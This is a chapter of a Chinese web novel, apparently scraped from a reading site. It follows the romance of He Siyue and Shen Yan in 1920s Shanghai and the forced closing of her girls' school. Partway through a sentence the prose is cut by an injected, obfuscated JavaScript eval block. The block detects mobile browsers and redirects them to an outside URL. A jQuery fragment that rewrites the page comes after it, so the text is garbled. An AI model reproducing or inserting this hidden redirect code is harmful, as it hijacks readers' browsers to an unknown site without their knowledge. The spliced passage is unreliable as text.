车子驶离私塾，汇入傍晚的车流。何思玥靠在座椅上，感觉疲惫，但心里是充实的。


    “累吗？”沈晏问。


    “有一点。”何思玥老实说，“但……是真的好累。”


    沈晏笑了，宠溺揉了揉思玥的头发。他从口袋里掏出一个小盒子——又是礼物。


    “这是什么？”何思玥接过。


    “打开看看。”


    盒子里是一对珍珠耳坠。珍珠不大，但圆润莹白，在暮色里泛着温润的光泽。


    “为什么又送我礼物？”何思玥问。


    “庆祝你重新站起来了。”沈晏说，“而且，珍珠是在痛苦中形成的——沙粒进入蚌壳，蚌用血肉去包裹它，一层一层，最后才变成珍珠。”


    他看着她：“思玥，你现在就像这颗珍珠。经历了痛苦，但那些痛苦没有摧毁你，反而让你变得更坚韧，更美丽。”


    何思玥摸着那对耳坠，珍珠光滑微凉，像泪滴，却又比泪滴温暖。


    “沈晏，”她轻声说，“你总是知道该说什么。”


    “因为我是商人。”沈晏笑了，“商人最擅长的，就是发现价值。而你，是我发现的最珍贵的宝物。”


    车子在公寓楼下停下。沈晏先下车，为她拉开车门。暮色已深，街灯亮起来，梧桐树的影子在风里摇曳。


    上楼时，沈晏很自然地牵住了她的手。何思玥没有拒绝，反而握紧了些。


    公寓里很安静，只有窗外偶尔传来的车声。沈晏打开灯，暖黄的光洒满房间。


    “晚上想吃什么？”他问，“我让厨房做。”


    “随便。”何思玥说，“不过……我想喝你熬的梨汤。”


    沈晏怔了怔，见她又想吃的东西，发自内心的替她高兴。


    他随即笑了：“好。不过家里可能没有梨了，我现在去买。”


    “我跟你一起去。”何思玥说，“就当……散步。”


    沈晏看着她，眼睛亮起来：“好。”


    他们下楼，走进傍晚的街道。霞飞路的梧桐树下，许多人在散步。有挽着手的情侣，有推着婴儿车的夫妇，有牵着狗的老人。


    沈晏很自然地走在何思玥外侧，为她挡住来往的车流。经过水果摊时，他仔细挑了几个雪梨，又买了些冰糖和胖大海。


    “还要买点什么水果吗？”他问。


    何思玥摇摇头。


    她看着沈晏付钱，看着他和摊主说话，看着他拎着袋子走回她身边——这些平常的细节，在此刻显得格外珍贵。


    回到公寓，沈晏系上围裙，在厨房里忙活。何思玥坐在客厅里，能听见洗梨、切梨的声音，还有砂锅放在炉子上的轻响。


    梨汤的香气很快飘出来，清甜中带着淡淡的药香。何思玥走到厨房门口，靠在门框上看着沈晏——他专注地盯着火候，额前有细密的汗珠，衬衫袖口挽到手肘，露出结实的小臂。


    “看什么？”沈晏转过头，发现她在看他。


    “看你熬汤的样子。”何思玥说，“想不到沈大少爷，还会做这个。”


    “在英国留学时学的，不喜欢英国吃的东西，就自己学着做了一点。”沈晏笑了，“那时候想家，就学着熬汤。熬着熬着，就想，以后要是有了喜欢的人，也要给她熬汤。”


    他说得很自然，何思玥却听得心里一暖。


    汤熬好了。沈晏盛了一碗，放在她面前：“小心烫。”


    何思玥舀起一勺，吹了吹，送入口中。还是那个味道——清甜温润，带着胖大海特有的清爽。


    “好喝吗？”沈晏问。


    “好喝。”何思玥点头，“比上次的还好喝。”


    沈晏笑了，在她对面坐下，自己也盛了一碗。


    两人对坐着喝汤，谁也没说话。但那种安静不是尴尬，是默契，是知道彼此都在的安心。


    喝完汤，何思玥忽然说：“沈晏，我想……下周开始正式回私塾上课。”


    沈晏放下碗：“确定吗？”


    “确定。”何思玥点头，“我不能一直躲着。而且……那些女孩在等我。”


    “好。”沈晏说，“那我每天接送。”


    “不用那么麻烦……”


    “不麻烦。”沈晏打断她，“我说过，从今往后，你的疼我分担一半，你的累我分担一半。接送算什么？”


    何思玥看着他，忽然问：“沈晏，你对我这么好，是因为可怜我吗？”


    这个问题让沈晏愣住了。他放下碗，认真地看着她：


    “思玥，如果只是可怜，我会给你钱，会帮你安排好一切，但不会陪着你疼，陪着你哭，更不会看到你受伤的时候，我也跟着心疼，更不会……更不会想和你共度余生。”


    他顿了顿，声音低沉而清晰：“我对你好，是因为你是你。因为你勇敢，因为你善良，因为你在最艰难的时候，依然想照亮别人。而这些，跟你的遭遇无关。即使你没有经历这些，我依然会被你吸引，依然会想对你好。”


    何思玥的眼眶热了。她低下头，看着碗里剩下的梨汤，汤面倒映着灯光，也倒映着沈晏认真的脸。


    “沈晏，”她轻声说，“谢谢你。”


    “不用谢。”沈晏握住她的手，“这是我心甘情愿的。”


    民国十四年秋，上海的教育界迎来了一场剧变。


    新颁布的《私立学校管理办法》像一道惊雷，劈开了原本就不平静的学界。


    规定要求所有私立学校必须重新登记，师资需有“相关机构认可之资格”，课程需“符合最新颁布的教育纲领”。女子私塾这类“非正统”的教育机构，首当其冲。


    陈校长在书房里坐了整整一夜，头上多了几缕白发，第二天清晨，她对何思玥说：“思玥，私塾……可能办不下去了。”


    窗外的梧桐叶已经开始泛黄，风一吹，簌簌落下几片。何思玥看着那些飘落的叶子，忽然想起父亲常说的一句话：该落的叶，留不住。


    “是因为新规定吗？”她问。


    陈校长点头，疲惫地揉着眉心：“教育局要求我们增设‘家政’‘女红’课，缩减‘新文学’‘西洋史’的课时。还要把几位老学究塞进来当‘督导’……这已经不是我们当初办学的初衷了。”


    何思玥沉默。


    她明白陈校长的意思——妥协，就能继续办；不妥协，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981706|193555||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就只能关。


    “您打算怎么办？”


    陈校长苦笑：“我打算把私塾卖了。趁着还能卖个好价钱，给老师们发足遣散费，给学生们安排好去处。”她顿了顿，“思玥，对不起，我……”


    “您不用道歉。”何思玥轻声说，“您已经做了能做的一切。”


    她回到教室，看着那些熟悉的课桌、黑板、画架。


    阳光从窗格照进来，在青砖地上投下规整的光影。这里曾经是她的战场，她的理想，她的绿洲。


    而现在，绿洲要消失了。


    最后一堂课上，何思玥没有讲课文，也没有教画画。她站在讲台上，看着台下那些年轻的脸，轻声说：


    “今天我们不说课，说说话。”


    女孩们都坐直了身子，看着她。


    “我要辞去教职了。”何思玥说得很平静，“私塾要关，这是时局所迫，不是任何人的错。”


    教室里一片寂静。


    周晓芸第一个哭了，然后是沈希希，然后是一个接一个的女孩。压抑的抽泣声在安静的教室里回荡。


    “不要哭。”何思玥说，虽然她自己眼眶也红了，“我教你们的第一课是什么？是‘看见’。看见这个世界，好的一面，坏的一面，光明的一面，黑暗的一面。”


    她走下讲台，走到女孩们中间：“现在，你们看见了一件事——有些路，走着走着就断了。有些理想，实现着实现着就碎了。这很疼，我知道。但重要的是——”


    她顿了顿，声音坚定起来：“重要的是，路断了，能不能找到新的路？理想碎了，能不能拼凑出新的理想？”


    周晓芸抬起头，眼睛红红的：“何老师……我们还能做什么？”


    “能做的很多。”何思玥说，“去正规学校继续读书，去学一门手艺，去工作，去结婚，去生孩子——但无论做什么，都要记住你们在这里学到的东西：女子也有思考的权利，也有选择的权利，也有看见更大世界的权利。”


    她走到窗边，推开窗户。秋风涌进来，带着梧桐叶的清香。


    “这个教室会关，这所私塾会没，但你们眼睛里的光，不能灭。”她转过身，看着女孩们，“只要光还在，无论走到哪里，无论做什么，你们都是自由的。”


    下课时，女孩们没有像往常一样说“老师再见”，而是一个个走过来，拥抱她。有的在她耳边小声说“谢谢”，有的塞给她自己折的纸鹤，有的只是默默地抱一下，眼泪蹭在她肩上。


    周晓芸是最后一个走的。她把一幅画放在何思玥桌上——画的是私塾的庭院，老槐树下，一个女子在教一群女孩画画。画角题了一行小字：“师恩如光，照我前行。”


    何思玥看着那幅画，眼泪终于掉下来。


    “谢谢你，晓芸，我只是不在私塾教书了，又不是离开上海，你要是想我了随时都可以找我。”思玥心情复杂的抱住了周晓芸。


    “真的可以吗？何老师。”


    “当然，或许我可以教你一些新潮的知识，一些书本上没有的知识。”


    何思玥看到周晓芸眼里求知的欲望，她就知道，当初帮助周晓芸是对的。